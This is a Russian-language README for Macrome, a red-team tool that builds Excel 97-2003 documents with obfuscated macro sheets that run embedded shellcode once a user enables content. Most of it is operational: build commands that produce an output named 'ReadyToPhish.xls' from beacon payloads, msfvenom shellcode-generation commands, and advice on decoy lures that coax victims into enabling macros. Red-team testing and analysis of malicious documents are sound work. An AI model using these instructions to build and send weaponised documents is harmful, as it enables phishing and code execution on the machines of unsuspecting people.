
Excel Macro Document Reader/Writer для специалистов по красным командам и аналитиков
Инструмент для чтения/записи Excel-документов с макросами для специалистов по Red Teaming и аналитиков. Посты в блоге, описывающие, что на самом деле делает этот инструмент, можно найти здесь и здесь.

Клонируйте или скачайте этот репозиторий, затем инструмент можно запустить с помощью dotnet — например:
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
или
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
Обратите внимание, что для работы требуется сборка dotnet версии 5.0+ — её можно скачать с https://dotnet.microsoft.com/download/dotnet/5.0.
Бинарные релизы инструмента, не требующие dotnet и содержащие исполняемый файл, можно найти в разделе Release для Windows, OSX и Linux.
Запускайте Macrome, используя dotnet run из каталога решения или dotnet для собранного бинарного файла Macrome. У Macrome есть три режима работы: режим сборки, режим дампа и режим деобфускации.
Запустите Macrome с командой build, чтобы сгенерировать документ Excel, содержащий обфусцированный лист макросов, используя предоставленный документ-приманку и полезную нагрузку макроса. dotnet Macrome.dll build -h выведет полные инструкции по использованию.
Например, чтобы собрать документ, используя документ-приманку path/to/decoy_document.xls и бинарный x86 шеллкод из path/to/shellcode.bin, выполните dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. Будет сгенерирован документ XLS 2003, который после открытия и нажатия кнопки "Включить содержимое" выполнит шеллкод из shellcode.bin.
Остальная документация подробно объяснит каждый флаг/функцию, но прямо сейчас "последние и лучшие" возможности Macrome можно получить, выполнив:
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
Сначала создайте базовый "приманочный" документ Excel, который будет содержать контент, который увидят пользователи. Это должна быть некая приманка, убеждающая пользователей нажать кнопку "Включить макросы", отображаемую в Excel. Некоторые примеры создания "последних и лучших" приманок можно найти на https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. После создания этого листа сохраните документ как Excel 97-2003 Workbook (*.xls), а не в более новом формате Excel Workbook (*.xlsx). Пример документа-приманки включён в /Docs/decoy_document.xls. Обратите внимание: если вы используете XOR-обфускацию для защиты документа, вы НЕ МОЖЕТЕ добавлять изображение в приманку.
Затем сгенерируйте полезную нагрузку шеллкода для передачи инструменту. Пример бинарной полезной нагрузки (которая запускает калькулятор) был сгенерирован с помощью msfvenom со следующими параметрами:
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
Также поддерживаются 64-битные полезные нагрузки. Пример 64-битной полезной нагрузки, popcalc64.bin, был сгенерирован с помощью команды:
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
Эту полезную нагрузку можно встроить, выполнив команду:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
В настоящее время для 64-битных полезных нагрузок требуется также указать x86-полезную нагрузку. Если это не проблема, вы можете просто указать мусор для флага x86.
Существует возможность встраивать .NET-сборки непосредственно в документ, но если вы хотите сделать это сейчас, я рекомендую использовать EXCELntDonut.
Начиная с Macrome 0.5.0 и выше, все полезные нагрузки кодируются в base64, поэтому ваша полезная нагрузка может содержать любую последовательность байтов (включая нулевые байты).
Если вы хотите встроить .NET-исполняемый файл с помощью Macrome, я рекомендую использовать Donut с командой donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, а затем встроить полученную полезную нагрузку как для 32-битной, так и для 64-битной версий.
Ещё один хороший вариант — Amber, который отлично работает для встраивания довольно больших Go-бинарников.
Если по какой-то причине вы хотите использовать устаревший режим кодирования полезной нагрузки из версий до Macrome 0.5.0, используйте флаг --payload-method со значением SheetPackingMethod. Обратите внимание, что в устаревшем режиме использование преимущественно буквенно-цифровой полезной нагрузки уменьшит размер генерируемого файла макроса, поскольку буквы и числа проще выразить в виде макроса, чем постоянно добавлять вызовы функции CHAR вроде =CHAR(123)&CHAR(124)&CHAR(125)... и т.д. Но инструмент должен справляться и с полностью непечатаемой бинарной полезной нагрузкой.
Как и в случае с бинарной полезной нагрузкой, сначала необходимо создать документ-приманку. Затем создайте текстовый файл, содержащий макросы для выполнения. Макросы должны быть с столбцами, разделёнными символами ;, и строками, разделёнными переводами строк. В настоящее время содержимое указанных макросов будет записано и выполнено, начиная с A1 — в будущем будет добавлена поддержка указания начального расположения. Примеры макросов можно найти в /Docs/macro_example.txt и /Docs/multi_column_macro_example.txt.
Наконец, выполните команду:
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
Обратите внимание на использование флага payload-type со значением Macro.
Вы можете сгенерировать макрос самостоятельно или воспользоваться замечательным инструментом EXCELntDonut для создания макроса.